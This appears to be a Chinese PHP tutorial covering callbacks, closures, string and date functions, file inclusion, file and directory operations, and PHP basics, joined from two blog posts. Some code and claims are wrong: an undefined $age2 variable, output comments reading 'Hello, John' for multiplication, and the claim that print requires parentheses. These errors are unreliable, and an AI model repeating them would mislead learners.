定义回调函数:首先,需要定义一个函数,作为回调函数的具体实现.该函数可以是普通函数、类方法或匿名函数. 将回调函数作为参数传递:在调用支持回调的函数时,将回调函数作为参数传递给这些函数.确保回调函数的参数和返回值与被调用的函数要求的一致. 执行回调函数:当被调用的函数满足特定条件时,会在适当的时候执行传递的回调函数. 示例代码回调函数示例代码123456789101112131415161718192021222324252627282930<?php /** * 函数 process() 接受两个参数:$data 和 $callback. * 它执行一些处理操作后,调用传递的回调函数 $callback 并将 $data 作为参数传递给回调函数. * 最后,函数 process() 返回回调函数的结果. */ function process($data, $callback) { // 执行某些处理操作 // 调用回调函数 $result = $callback($data); // 继续处理其他操作 return $result; } /** * 回调函数 myCallback() 接收一个参数,并将该参数乘以2后返回. */ function myCallback($value) { return $value * 2; } $data = 10; // 调用函数 process() 并传递回调函数 myCallback() $result = process($data, 'myCallback'); echo $result; // 输出:20 可变函数可变函数:当前有一个变量所保存到值,刚好是一个函数的名字,那么就可以使用变量+()来充当函数名使用 12345678910111213141516<?php /* * $变量='display'; * function display(){ * } * //可变函数 * $变量() * */ // 定义一个名为 display 的函数,用于输出函数名 function display(){ echo __FUNCTION__."</br>"; // 输出函数的名称,并添加 HTML 换行标签 } $func = "display"; // 将字符串 "display" 赋值给变量 $func display(); // 调用 display 函数,输出函数的名称 $func(); // 使用变量 $func 来调用函数,输出函数的名称 可变函数在系统使用的过程中还是比较多的,尤其是使用很多系统函数的时候:需要用户在外部定义一个自定义函数,但是是需要传入到系统函数内部使用. 1234567891011121314151617<?php // 代码示例: // 将一个用户定义的函数传入给另外一个函数(函数名)去使用的过程,称之为回调过程,而被传入的函数称之为回调函数 //定义系统函数(假设) function sys_function($arg1,$arg2){ //给指定的函数(第一个参数),求对应的第二个参数值的4次方 //对实际用户输入的数值进行处理 $age2 = $age2 + 10; return $arg1($arg2); //相当于user_function(20) } //定义一个用户函数:求一个数的四次方 function user_function($num){ return $num * $num * $num * $num; } //求10的4次方 sys_function('user_function',10); 匿名函数 在PHP中,匿名函数是一种没有明确命名的函数,也称为闭包函数.可以通过使用function()语法来创建匿名函数.匿名函数通常用于以下场景: - 作为回调函数传递给其他函数. 在需要一个短暂的函数时,不必为其命名. 创建匿名函数的一般语法如下: 123456789<?php /* * $anonymous是变量名,可以根据需要自行定义. * parameters是匿名函数的参数. * 函数体中可以编写实际要执行的代码逻辑. */ $anonymous = function(parameters) { // 函数体\t}; 123456789101112131415161718192021222324252627282930313233343536<?php /* * 匿名函数可以像普通函数一样被调用. * 如果要执行匿名函数,可以像调用普通函数一样使用变量名加括号的方式. */ $sum = function($a, $b) { return $a + $b; }; echo $sum(2, 3); // 调用匿名函数并传递参数\t/* * 匿名函数还可以作为回调函数传递给其他函数 * 例如array_map()和usort()等PHP函数. * */ $numbers = [1, 2, 3, 4, 5]; // 定义了一个数字数组 $numbers,包含了数字 1 到 5. // 使用匿名函数作为回调函数,对数组中的每个元素进行平方操作 /* * array_map() 是一个PHP内置函数,用于将回调函数应用到给定数组中的每个元素, * 并返回一个新的数组,其中包含了应用回调函数后的结果. * 语法: * array_map(callback $callback, array $array1, array ...$arrays): array * callback:回调函数,可以是普通函数、类方法或匿名函数. * $array1, $arrays:要操作的数组,可以是一个或多个数组. * */ /* * * 使用 array_map() 函数对数组 $numbers 中的每个元素应用回调函数来进行平方操作. * 匿名函数被传递给 array_map() 函数作为回调函数,它采用一个参数 $number,表示数组中的当前元素,然后返回该元素的平方值.所以,匿名函数内部使用 $number * $number 来计算平方. * array_map() 函数返回一个新的数组,其中包含了对原始数组 $numbers 中的每个元素进行平方操作后的结果. * */ $squared = array_map(function($number) { return $number * $number; }, $numbers); print_r($squared); // 输出:Array ( [0] => 1 [1] => 4 [2] => 9 [3] => 16 [4] => 25 ) 变量保存匿名函数,本质得到的是一个对象(closure) 1234567<?php $sum = function($a, $b) { return $a + $b; }; echo $sum(2, 3); // 调用匿名函数并传递参数 echo "</br>"; var_dump($sum); // object(Closure)#1 (1) { ["parameter"]=> array(2) { ["$a"]=> string(10) "" ["$b"]=> string(10) "" } } 闭包(Closure) 在PHP中,闭包是一种特殊的匿名函数,它可以在定义时捕获其周围作用域的变量,并且可以在后续的调用中访问和修改这些变量.闭包允许我们将函数作为一等公民来对待,可以将其作为参数传递给其他函数,也可以从其他函数中返回. 创建闭包闭包的基本语法如下: 123$closure = function ($arg1, $arg2, ...) { // 函数体}; 通过使用 function 关键字和匿名函数的语法,我们可以创建一个闭包并将其赋值给变量 $closure.闭包可以接收任意数量的参数,并且在函数体中执行相应的操作. 使用闭包闭包可以像普通函数一样被调用,例如: 12<?php\t$result = $closure($value1, $value2); 在上述例子中,我们通过调用闭包 $closure 并传递参数 $value1 和 $value2 来获取结果 $result.闭包会根据传入的参数执行函数体中的操作,并返回一个结果. 捕获变量闭包不仅可以访问传递给它的参数,还可以捕获定义在其周围作用域中的变量.这意味着闭包可以在稍后的调用中访问和修改这些变量的值. 123456<?php $message = "Hello"; $closure = function ($name) use ($message) { echo $message . ", " . $name; }; $closure("John"); // 输出:Hello, John 在上述例子中,闭包 $closure 捕获了定义在其周围作用域中的变量 $message.在闭包内部,我们可以通过 use 关键字引用这个变量,并将其用于输出. 应用场景闭包常常用于回调函数、事件处理程序和高阶函数等场景.它们可以帮助我们编写更灵活和可重用的代码,同时提供更好的封装性和代码组织方式. 闭包和匿名函数的区别我们的匿名函数明明可以传参为什么还要用到闭包呢?​\t匿名函数确实可以传递参数,但是闭包是一种特殊的匿名函数,它具有捕获周围作用域变量的能力.​\t闭包与普通匿名函数的区别在于,闭包可以在定义时捕获其周围作用域中的变量,并且可以在后续的调用中访问和修改这些变量的值.这使得闭包在某些情况下更为灵活和强大. 1234567891011121314<?php // 闭包与普通匿名函数的区别在于,闭包可以在定义时捕获其周围作用域中的变量,并且可以在后续的调用中访问和修改这些变量的值.这使得闭包在某些情况下更为灵活和强大.\t// 示例 function createMultiplier($factor) { return function ($number) use ($factor) { return $number * $factor; }; } $double = createMultiplier(2); $result = $double(10); echo $result; // 输出:20 // 我们使用闭包创建了一个乘法器函数 createMultiplier(),它接受一个因子参数并返回一个闭包.这个闭包将捕获 createMultiplier() 函数的 $factor 参数,并返回给定数值和因子的乘积. ​\t通过这种方式,闭包可以更灵活地操作作用域中的变量. ​\t即使在定义闭包时,外部变量的值已经发生了改变,闭包仍然可以访问到最初捕获的变量值. ​\t因此,捕获参数是指闭包在定义时绑定并保留对周围作用域变量的引用,以便在后续调用中使用,而传参是指直接向匿名函数传递参数来处理特定的操作. 123456789101112131415161718192021222324252627<?php // 以下代码用于解释定义闭包时,外部变量的值已经发生了改变,闭包仍然可以访问到最初捕获的变量值 $factor = 2; $factor2 = 10; $greeting = function ($number,$factor) { return $number * $factor; }; echo $greeting($factor2,$factor); // 输出:Hello, John echo "</br>"; $factor = 10; echo "读的是新的值:".$greeting($factor2,$factor); // 输出:Hello, John echo "</br>"; $factor = 2; $multiplier = function ($number) use ($factor) { return $number * $factor; }; $result = $multiplier(10); echo $result; // 输出:20 echo "</br>"; $factor = 10; // 使变量产生新的值 $result = $multiplier(10); echo '读的是最初的$factor值:'.$result; // 输出:20 相关函数1234567891011121314151617181920212223242526272829303132字符串相关函数1. 转换函数: implode(),explode(),st_split() lmplode(连接方式,数组):将数组中的元素按照某个规则连接成一个字符串, explode(分割字符,目标字符串):将字符串按照某个格式进行分割,变成数组 str_split(字符串,字符长度):按照指定长度拆分字符串得到数组2. 截取函数: trim(),ltrim(), rtrim() trim(字符串,[指定字符]):本身默认是用来去除两边的空格(中间不行),但是也可以指定要去除的内容,是按照指定的内容循环去除两边有的内容:直到碰到一个不是目标字符为止. ltrim():去除左边的空格 rtrim():去除右边的空格3. 截取函数: substr(),strstr() substr(字符串,起始位置从0开始[长度]):指定位置开始截取字符串,可以截取指定长度(不指定到最后) strstr(字符串,匹配字符):从指定位置开始,截取到最后(可以用来取文件后缀名)4. 大小转换函数: strtolower(),strtoupper(),ucfirst() strtolower: 全部小写 strtoupper: 全部大写 ucfirst: 首字母大写5. 查找函数: strpos(),strrpos() strpos():判断字符在目标字符串中出现的位置(首次) strrpos():判断字符在目标字符串中最后出现的位置6. 替换函数: str_replace() str_replace(匹配目标,替换的内容,字符串本身):将目标字符串中部分字符串进行替换, $str = '123a234a3b2a'; str_replace('a','b',$str);7. 格式化函数: printf(),sprintf()printf/sprintf(输出字符串有占位符,顺序占位内容):格式化输出数据 $age = 50; $name = 'TOM'; //格式化输出 echo sprintf("你好,今年我%d岁,我叫%s",$age,$name);8. 其他: str_repeat(),str_shuffle() str_repeat():重复某个字符串N次 str_shuffle():随机打乱字符串 十一、PHP日期处理介绍 日期处理在 Web 开发中非常重要,PHP 提供了丰富的日期函数用于处理与日期和时间相关的操作. 获取当前日期和时间123456789101112131415161718192021<?php /* * date(format, timestamp) * - 返回指定格式的日期字符串. * - 可通过第二个参数指定时间戳. * */ echo date('Y-m-d H:i:s'); // 2023-08-03 09:00:56 /* * time() * - 返回当前的Unix时间戳 * */ echo "</br>"; echo time(); // 1691024456 /* * strtotime(timeString) * - 将人类可读的时间字符串转换为 Unix 时间戳. * */ echo "</br>"; echo strtotime('2023-08-03 09:00:56'); // 1691024456 格式化日期和时间123456789101112131415161718/* * date_format(dateTime, format) * - 格式化日期和时间对象. * - 适用于 DateTime 对象. * */echo "</br>";// new DateTime('2023-08-03 09:00:56')表示创建了一个 DateTime 对象,表示日期和时间为 2023 年 8 月 3 日 09:00:56.echo date_format(new DateTime('2023-08-03 09:00:56'), 'Y-m-d H:i:s'); // 输出 2023-08-03 09:00:56/* * date_default_timezone_set(timezone) * - 设置默认时区 * - 时区列表:https://www.php.net/manual/en/timezones.php * */echo "设置默认时区:";date_default_timezone_set('Africa/Abidjan');echo date('Y-m-d H:i:s'); // 2023-08-03 01:09:47 日期计算123456789101112131415161718192021222324252627282930313233343536373839<?PHP /* * strtotime(timeString, now) * - 将相对的或绝对的时间字符串转换为 Unix 时间戳. * - 可选的第二个参数指定基准时间. * */ echo "</br>"; date_default_timezone_set('Asia/Shanghai'); echo date('Y-m-d H:i:s',strtotime('+1 day')); // 2023-08-04 09:12:41 /* * date_add(dateTime, interval) * - 在给定的日期上添加时间间隔. * - 适用于 DateTime 对象. * */ echo "</br>"; // 创建一个 DateTime 对象,表示日期和时间为 2023 年 8 月 2 日 17:30:00 $dateTime = new DateTime('2023-08-02 17:30:00'); // 创建一个 DateInterval 对象,表示时间间隔为 1 天 $interval = new DateInterval('P1D'); // 在 DateTime 对象上添加时间间隔,这里是添加了 1 天 $dateTime->add($interval); // 格式化 DateTime 对象并将其以指定格式输出 echo $dateTime->format('Y-m-d H:i:s'); /* * date_diff(dateTime1, dateTime2) * - 计算两个日期之间的差异. * - 适用于 DateTime 对象. * */ echo "</br>"; // 创建一个 DateTime 对象,表示日期为 2023 年 8 月 2 日(时间默认为 00:00:00) $dateTime1 = new DateTime('2023-08-02'); // 创建一个 DateTime 对象,表示日期为 2023 年 8 月 5 日(时间默认为 00:00:00) $dateTime2 = new DateTime('2023-08-05'); // 计算两个日期对象之间的差异 $interval = date_diff($dateTime1, $dateTime2); // 格式化并输出两个日期之间的天数差异,使用 %R 表示正负号,%a 表示天数 echo $interval->format('%R%a days'); 解析和输出日期字符串1234567891011121314151617<?php echo "</br>--------解析和输出日期字符串--------</br>"; /* * date_parse(dateString) * - 解析日期字符串并返回关联数组 * */ print_r(date_parse('2023-08-03 09:20:41')); // Array ( [year] => 2023 [month] => 8 [day] => 3 [hour] => 9 [minute] => 20 [second] => 41 [fraction] => 0 [warning_count] => 0 [warnings] => Array ( ) [error_count] => 0 [errors] => Array ( ) [is_localtime] => ) /* * strftime(format, timestamp) * - 格式化日期和时间,支持本地化字符串的替换. * */ echo "</br>"; // 设置本地化的时区为中文(简体)并使用 UTF-8 编码 setlocale(LC_TIME, 'zh_CN.utf8'); // 使用 strftime 函数将当前时间格式化为指定的字符串格式,%Y 表示年份(四位数),%m 表示月份(两位数),%d 表示日期(两位数),%H 表示小时(24小时制),%M 表示分钟,%S 表示秒数 echo strftime('%Y年%m月%d日 %H:%M:%S', time()); // 2023年08月03日 09:22:10 实际应用示例以下是一些实际应用示例,展示如何利用 PHP 日期函数处理日期和时间: 123456789101112131415161718192021222324252627282930313233343536373839<?php // 15.5 实际应用示例 echo "</br>实际应用示例</br>"; // 生成特定格式的日期字符串 echo $date = date('Y-m-d'); // 计算两个日期之间的天数差异 echo "</br>"; // 创建一个 DateTime 对象,表示开始日期为 2023 年 7 月 1 日(时间默认为 00:00:00) $startDate = new DateTime('2023-07-01'); // 创建一个 DateTime 对象,表示结束日期为 2023 年 7 月 10 日(时间默认为 00:00:00) $endDate = new DateTime('2023-07-10'); // 计算两个日期对象之间的差异 $interval = date_diff($startDate, $endDate); // 格式化并输出两个日期之间的天数差异,使用 %R 表示正负号,%a 表示天数 echo $interval->format('%R%a days'); // 解析复杂的日期字符串 echo "</br>"; // 定义日期字符串 $dateString = '2023-08-02 17:30:00'; // 使用 date_parse 函数解析日期字符串并返回日期信息数组 $dateInfo = date_parse($dateString); // 输出解析后的日期信息 echo "年份:" . $dateInfo['year'] . "<br>"; echo "月份:" . $dateInfo['month'] . "<br>"; echo "日期:" . $dateInfo['day'] . "<br>"; echo "小时:" . $dateInfo['hour'] . "<br>"; echo "分钟:" . $dateInfo['minute'] . "<br>"; echo "秒钟:" . $dateInfo['second'] . "<br>"; /* * result: * 年份:2023 * 月份:8 * 日期:2 * 小时:17 * 分钟:30 * 秒钟:0 * 总结PHP 提供了丰富的日期处理函数,用于获取、格式化、计算和解析日期和时间.熟练掌握这些函数可以简化日期处理任务,提高开发效率. 十二、文件包含文件包含简介 文件包含:在一个 PHP脚本中,需要将另外一个文件(PHP)包含进来,去合作完成一件事情. 文件包含的意义: 要么使用被包含文件中的内容,实现代码的共享(重用):向上包含(索要) 向上包含:在当前脚本要用某个代码之前包含别的文件 要么自己有东西可以给别的文件使用,实现代码的共享(重用):向下包含(给予) 向下包含:在自己有某个东西的时候,需要别的脚本来显示(自己代码写完之后包含其他文件) 最大的作用:分工协作,每个脚本做的事情不一样,因此可以使用协作方式,让多个脚本共同完成一件事情 解耦和耦合解耦和耦合是两个重要的概念.解耦是指减少模块之间的依赖关系,使得软件的各个模块能够独立地进行修改、测试和维护.耦合则是指模块之间的紧密关联程度,高耦合表示一个模块对其他模块的依赖程度较高.解耦的好处包括:提高可维护性:当一个模块独立于其他模块时,修改一个模块不会对其他模块产生影响,从而降低了维护的复杂性.增强可测试性:独立的模块可以更容易地进行单元测试,而不需要涉及到其他模块.促进团队合作:解耦可以使团队成员并行开发不同的模块,减少彼此之间的阻塞和依赖.以下是一些常见的解耦策略:使用接口或抽象类:通过定义接口或抽象类,模块之间只依赖于接口或抽象类而不是具体实现,从而实现解耦.使用事件驱动架构:通过发布-订阅模式或观察者模式,模块之间通过事件进行通信,解耦了发送者和接收者.使用依赖注入:将依赖关系从模块内部移动到外部,通过依赖注入容器来管理依赖关系,从而实现解耦.使用消息队列:模块通过在消息队列中发送和接收消息进行通信,从而实现解耦.另一方面,耦合度高的代码容易引发以下问题:修改一个模块可能会影响到其他模块,导致意想不到的副作用.难以进行单元测试,需要涉及到多个相关模块.增加了代码的复杂性和维护成本. 文件包含四种形式 include:包含文件 include_once:系统会自动判断文件包含过程中,是否已经包含过(一个文件最多被包含一次) require:与include相同 require_once:与include_once相同 文件包含使用123456789101112<?php // 包含基本语法 include '文件名字'; include('文件名字'); //文件名字,注意路径\t// 向上包含:先包含文件,后使用文件的内容 include 'include1.php'; echo $a; echo $b;\t// 向下包含:包含文件为了显示以上数据 $a = 10; const PI = 3.14; include_once 'include4.php' 文件加载原理 在文件加载(include或者require)的时候,系统会自动将被包含文件中的代码相当于嵌入到当前文件中 加载位置:在哪加载,对应的文件中的代码嵌入的位置就是对应的include位置 在PHP中被包含的文件是单独进行编译的 包含实例message.php12<?php $message = "php study hard!!!"; show.php123456789101112131415<!DOCTYPE html><html lang="en"><head>\t<meta charset="UTF-8">\t<title>SecHub</title></head><body><p>努力学习</p><?php include 'message.php';echo $message;?></body></html> 区别总结 include()函数:该函数会将指定文件包含到当前 PHP 文件中,并且执行包含的文件中的 PHP 代码.如果攻击者能够控制include()函数的参数,就可以注入恶意代码并执行,从而利用文件包含漏洞. require()函数:该函数与include()函数类似,也会将指定文件包含到当前PHP文件中,并且执行包含的文件中的 PHP 代码.如果攻击者能够控制require()函数的参数,就可以注入恶意代码并执行,从而利用文件包含漏洞. include_once()和require_once()函数:这两个函数与include()函数和require()函数类似,也会将指定文件包含到当前 PHP 文件中,并且执行包含的文件中的 PHP 代码. 不同之处在于,如果文件已经被包含过,则不会再次包含.攻击者可以利用这两个函数的特性,通过改变包含文件的路径,来实现文件包含漏洞. 123456<?php\tinclude('login.php')\techo 'include test final!';//include报错,但是会继续执行,显示:include test final!\trequire('login1.php')\techo 'require test final!';//require报错,停止代码的执行?> 十三、PHP 文件操作简介在 PHP 中,文件操作是一项非常重要的任务.它允许我们读取文件的内容、写入新的内容,以及对文件进行其他操作.PHP 提供了一组内置函数,使得文件操作变得简单而高效. 作用文件操作在 Web 开发中有广泛的应用.它可以用于读取配置文件、日志记录、数据存储等场景.通过使用 PHP 的文件操作功能,我们可以方便地处理文件,实现各种需求. 使用场景 读取日志文件并进行数据分析和处理 从配置文件中读取各种设置和参数 将用户提交的表单数据写入到文件中 处理上传的文件,保存到指定目录 读取和修改 CSV、JSON、XML 等格式的数据文件 示例 模式 描述 r 只读.在文件的开头开始. r+ 读/写.在文件的开头开始. w 只写.打开并清空文件的内容;如果文件不存在,则创建新文件. w+ 读/写.打开并清空文件的内容;如果文件不存在,则创建新文件. a 追加.打开并向文件末尾进行写操作,如果文件不存在,则创建新文件. a+ 读/追加.通过向文件末尾写内容,来保持文件内容. x 只写.创建新文件.如果文件已存在,则返回 FALSE 和一个错误. x+ 读/写.创建新文件.如果文件已存在,则返回 FALSE 和一个错误. 如果 fopen() 函数无法打开指定文件,则返回 0 (false)。 下面是一个示例,展示了如何使用 PHP 进行文件读写操作. 12345678910111213141516171819202122232425262728293031323334353637383940414243<?php// 定义要读取和写入的文件路径$filePath = 'D:\\\\Software\\\\phpstudy_pro\\\\WWW\\\\localhost\\\\example.txt';// 打开文件进行写入$file = fopen($filePath, 'w');// 检查文件是否成功打开if ($file) { // 要写入的内容 $newContent = "这是新的文件内容"; // 写入文件 fwrite($file, $newContent); // 关闭文件 fclose($file); echo "文件写入成功!";} else { // 文件打开失败 echo "文件打开失败!";}// 打开文件进行读取$file = fopen($filePath, 'r');// 检查文件是否成功打开if ($file) { // 读取文件内容 $content = fread($file, filesize($filePath)); // 关闭文件 fclose($file); // 输出文件内容 echo "文件内容:"; echo nl2br($content); // 加上 nl2br 函数将换行符转换为 <br> 标签} else { // 文件打开失败 echo "文件打开失败!";} 十四、PHP 目录操作简介在 Web 开发中,我们经常需要对文件夹(目录)进行操作,例如创建新文件夹、复制或移动文件夹、遍历目录等等.PHP 提供了一组内置函数,使得目录操作变得容易而高效. 作用目录操作可以帮助我们处理文件的组织和管理.它允许我们创建、删除和重命名目录,查找文件和子目录,以及执行其他与目录相关的任务.通过使用 PHP 的目录操作功能,我们可以轻松地处理文件系统中的目录结构. 使用场景 创建项目文件夹和子文件夹 遍历目录并查找特定类型的文件 复制、移动或删除文件夹及其内容 计算文件夹的大小和文件数量 检查目录是否存在,如果不存在则创建 示例下面是一个示例,展示了如何使用 PHP 进行目录操作. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172<?php// 定义要操作的目录路径$directoryPath = 'D:\\\\Software\\\\phpstudy_pro\\\\WWW\\\\localhost\\\\test';// 创建目录if (!is_dir($directoryPath)) { // 如果指定路径不是一个目录 mkdir($directoryPath); // 创建目录 echo "目录创建成功!";} else { echo "目录已存在!";}// 遍历目录并输出文件名$dir = opendir($directoryPath); // 打开目录句柄echo "目录中的文件列表:";while (($file = readdir($dir)) !== false) { // 读取目录中的文件 if ($file != "." && $file != "..") { // 排除当前目录和上级目录 echo $file . "<br>"; // 输出文件名 }}closedir($dir); // 关闭目录句柄// 复制目录及其内容到新目录$newDirectoryPath = 'D:\\\\Software\\\\phpstudy_pro\\\\WWW\\\\localhost\\\\test_copy';if (is_dir($directoryPath) && !is_dir($newDirectoryPath)) { // 如果原目录存在且目标目录不存在 mkdir($newDirectoryPath); // 创建目标目录 recurse_copy($directoryPath, $newDirectoryPath); // 调用递归复制函数 echo "目录复制成功!";} else { echo "目录复制失败!";}// 删除目录及其内容if (is_dir($directoryPath)) { // 如果目录存在 delete_directory($directoryPath); // 调用递归删除函数 echo "目录删除成功!";} else { echo "目录不存在!";}// 递归复制目录及其内容function recurse_copy($src, $dst) { $dir = opendir($src); // 打开源目录句柄 @mkdir($dst); // 创建目标目录(@符号用于忽略警告) while (($file = readdir($dir)) !== false) { // 读取源目录中的文件 if ($file != "." && $file != "..") { // 排除当前目录和上级目录 if (is_dir($src . '/' . $file)) { // 如果是子目录 recurse_copy($src . '/' . $file, $dst . '/' . $file); // 递归调用函数复制子目录及其内容 } else { copy($src . '/' . $file, $dst . '/' . $file); // 复制文件 } } } closedir($dir); // 关闭源目录句柄}// 递归删除目录及其内容function delete_directory($dir) { if (is_dir($dir)) { // 如果目录存在 $objects = scandir($dir); // 扫描目录,获取文件和子目录列表 foreach ($objects as $object) { if ($object != "." && $object != "..") { // 排除当前目录和上级目录 if (is_dir($dir . "/" . $object)) { // 如果是子目录 delete_directory($dir . "/" . $object); // 递归调用函数删除子目录及其内容 } else { unlink($dir . "/" . $object); // 删除文件 } } } rmdir($dir); // 删除目录 }}","tags":["PHP","编程语言"]},{"title":"PHP-从入门到精通(上)","path":"/2023/09/02/20d7e033/","content":"总字符数: 18.08K 代码: 8.98K, 文本: 4.97K 预计阅读时间: 1.01 小时 一、PHP 语法php是什么 PHP(全称:Hypertext Preprocessor)是一种开源的脚本语言,通常用于服务器端编程和网页开发.PHP代码在服务器上执行,并且生成动态的网页内容. 以下是 PHP 的一些特点: 易于学习和使用:PHP 的语法简单易懂,学习门槛相对较低,适合初学者入门. 跨平台性:PHP 可以在多个操作系统上运行,包括 Windows、Linux、Mac 等. 与 HTML 集成:PHP 可以嵌入到 HTML 代码中,方便动态生成网页内容. 广泛应用:PHP 是一种非常流行的服务器端脚本语言,广泛用于开发动态网站、Web 应用程序和网站后端逻辑. 强大的功能:PHP 提供了许多内置函数和库,使开发者能够轻松处理字符串、数据库连接、文件处理、图像处理等各种任务. 它是开源的:PHP 被许多开发者积极参与开发和维护,有庞大的社区支持,可以获取到丰富的资源和扩展. PHP 在互联网领域有着广泛的应用,许多知名的网站和应用程序都使用 PHP 构建,如Facebook、Wikipedia、WordPress等. 总之,PHP 是一种功能强大且广泛使用的服务器端脚本语言,适合用于开发各种类型的动态网页和Web应用程序. PHP 代码的起始和结束标记PHP 脚本可放置于文档中的任何位置,以<?php开头,以?>结尾,整个粗体部分以php语言进行解析: 123<?php PHP 代码?> PHP 文件的默认文件扩展名是 .php(文件后缀),PHP文件通常包含 HTML 标签以及一些 PHP 脚本代码,通常的是PHP代码穿插到html文档里. 如下是PHP和HTML结合使用,利用内建PHP函数echo在页面上输出Hello PHP !!!!创建的2.php文件 1234567891011121314<!DOCTYPE html><html lang="en"><head>\t<meta charset="UTF-8">\t<title>php-study</title></head><body>\t<h1>欢迎学习php !!!</h1><?phpecho "Hello PHP !!!!";?></body></html> 在日常编写PHP文件时要注意PHP 语句以分号结尾 ; 时刻注意中英文分号问题. PHP中注释PHP 代码中的注释不会被解析执行,只能来读取和执行.大部分用于程序开发的时候,编辑者对代码的简要标记. PHP有三种注释: 1231. # 单行注释2. // 单行注释3. /* 注释内容*/ 多行注释 如下三种注释: 12345// echo "php 66666"# echo "hello everything!!!"/* echo "php 666888"*/ 单引号不能解析变量,双引号可以解析变量 双引号执行转译字符,单引号不转译 \\r \\t 它执行转译\\和’(输出一个) 能使用单引号就不使用双引号,为什么?因为单引号效率要比双引号快 如果是字符串和变量一起的时候用.来链接 双引号里面插入单引号,单引号里面插入变量,变量会解析 如果双引号里面插入变量的时候请在后面加上空格或者,号,不然计算机会认为你是一体的或者用大括号包起来当变量和字符串想在一起的时候用\"点\"来拼接 引号方式:比较适合定义那些比较短(不超过一行)或者没有结构要求的字符串 如果有结构要求,或者内容超过一行,可以使用以下两种结构定义 nowdoc字符串:没有单引号的单引号字符串 heredoc字符串:没有双引号的双引号字符串 结构化定义字符串变量的规则: 结构化定义字符串对应的边界符有条件 上边界符后面不能跟任何内容 下边界符必须顶格,最左边 下边界符同样后面只能跟分号;不能跟任何内容 结构化定义字符串的内部(边界符之间)的所有内容都是字符串本身 PHP 大小写敏感在 PHP 中,所有用户定义的函数、类和关键词(例如 if、else、echo 等等)都对大小写不敏感,使用ECHO ,echo,EcHo都可以进行输出. 1234<?php ECHO "Hello php !!!!<br>"; echo "Hello php !!!!<br>"; EcHo "Hello php !!!!<br>"; 所有变量都对大小写敏感,而当一个变量$a=2被赋值后,echo $A,echo $a 12345<?php\t$a=2;\techo $A; //没有显示\techo "<br>";\techo $a; 二、PHP 变量 在PHP中,变量是存储信息的容器.判断一个变量是否存在isset($x);销毁变量unset($x); 12345$a = 10;var_dump(isset($a));unset($a);echo "</br>";var_dump(isset($a)); PHP 变量规则 PHP中变量必须以$符号开头,其后是变量的名称 变量名称必须以字母或下划线开头,不能以数字开头 变量名称只能包含字母数字字符和下划线(A-z、0-9 以及 _) 变量名称对大小写敏感($y 与 $Y 是两个不同的变量) 创建变量PHP 没有创建变量的命令. 变量会在首次为其赋值时被创建: 123456789<?php\t$test="Hello 网络安全 !!!!!";\t$x=666;\t$y=888;\techo $test;\techo "<br>";\techo $x;\techo "<br>";\techo $y; PHP作为一门类型松散的语言,我们在创建变量的时候,不必告知PHP变量的数据类型,由于PHP会根据它的值,自动把变量转换为正确的数据类型,而其他编程语言,如C和C++以及Java等语言,在使用变量之前,需要声明变量的名称和类型. PHP 变量作用域 就是一个变量的作用范围,或者叫做生命周期 内部变量:Local 就是函数体内声明的变量,内部变量的作用域只在函数体内生效,程序执行完事以后自动销毁(垃圾回收机制) 外部变量:Global 外部变量就是在函数体外声明的变量,不能在函数体内使用,函数体外的变量名字可以与函数体内的变量名字一样 超全局变量 外部变量和内部变量是同一个变量 $_GET $_POST $_FILE $_COOKIE $_SESSION $GLOBALS 静态变量 static静态变量关键字 在函数内部定义的变量,用来实现跨函数共享数据的变量 这个变量只会初始化一次在运行的时候他会记录上一次的值static变量不会销毁 1234function 函数名(){ //定义变量 static $变量名 = 值; //通常会在定义的时候就直接赋值} Local 和 Global 作用域下面的例子测试了带有局部和全局作用域的变量 1234567891011121314151617<?php$x=5; // 全局作用域function test() { $y=10; // 局部作用域 echo "<p>测试函数内部的变量:</p>"; echo "变量 x 是:$x"; echo "<br>"; echo "变量 y 是:$y";} test();echo "<p>测试函数之外的变量:</p>";echo "变量 x 是:$x";echo "<br>";echo "变量 y 是:$y"; global 关键字global 关键字用于函数内访问全局变量. 在函数内调用函数外定义的全局变量,我们需要在函数中的变量前加上 global 关键字 123456789<?php $x = 5; // 定义函数 function test(){ global $x; $a = 10; echo $x+$a; } test(); // 调用函数 static 关键词当函数完成执行后,会删除所有变量.若有时我们不想要删除某个局部变量.则需要在首次声明变量时使用 static 关键词: 12345678910111213141516171819202122232425<?php function test() { static $x=0; echo $x; $x++; } test(); echo "<br>"; test(); echo "<br>"; test(); echo "<br>"; echo "以下是没有设置静态变量的"; echo "<br>"; function test1() { $x=0; echo $x; $x++; } test1(); echo "<br>"; test1(); echo "<br>"; test1(); 三、echo 、print以及var_dump 语句 echo: 用法:echo expression; echo 是一个语言结构而不是函数,因此可以省略括号.它可以输出一个或多个字符串. echo 没有返回值,只用于输出内容到浏览器或命令行. echo 输出的内容可以包含任何有效的表达式,包括字符串、变量和表达式的组合. echo和echo()是一样的 示例: 123456<?php\t$name = "Alice";\techo "Hello, " . $name . "!"; // 输出:Hello, Alice!\techo "</br>";\techo($name);\techo "</br>"; print: 用法:print expression; print 是一个函数,必须使用括号将表达式括起来. print 的功能与 echo 类似,可以输出一个字符串. print 的返回值为 1,可以用于某些特定的需求. 示例: 1234<?php$name = "Bob";print("Welcome, " . $name); // 输出:Welcome, Bobprint $name; var_dump: 用法:var_dump(expression); var_dump 是一个函数,用于获取并输出变量的详细信息. var_dump 输出变量的类型、值以及长度(针对字符串)等详细信息. var_dump 在调试过程中非常有用,可以帮助开发者了解变量的结构和内容. 示例: 1234567<?php$name = "Charlie";$age = 25;var_dump($name, $age);// 输出:// string(7) "Charlie"// int(25) 总结: echo 和 print 常用于输出字符串和变量,可以输出多个值,echo 是语言结构而 print 是函数. var_dump 则用于获取并输出变量的详细信息,更适合用于调试过程. 四、PHP 数据类型PHP一种支持八种原始数据类型 四种标量类型,即integer(整型)、float/double(浮点型)、string(字符串型)和boolean(布尔型) boolean(布尔型) 有两个值,真(true)和假(false) string(字符串型) 计算机所能表示的一切字符的集合 integer(整型) 只能是整数,包括正数和负数 float(浮点型) 和整数不同,包含小数位 两种复合类型,即array(数组)、object(对象) object(对象) 类的实例,使用new来创建 array(数组) 一组类型相同的变量集合 两种特殊类型,即resource(资源)、NULL(空) resource(资源) 特殊的变量,保存了到外部资源的一个引用,通过专门的函数来建立和使用 null(空值) 表示变量没有值,唯一的值是NULL 1. 字符串(string)字符串是字符序列,可以是以引号内的任何文本,单双引号的使用有区别: 单引号:单引号里出现的变量会原样输出,PHP引擎不会对它进行解析,因此单引号定义字符串效率最高. 双引号:双引号所包含的变量会自动被替换成变量值. 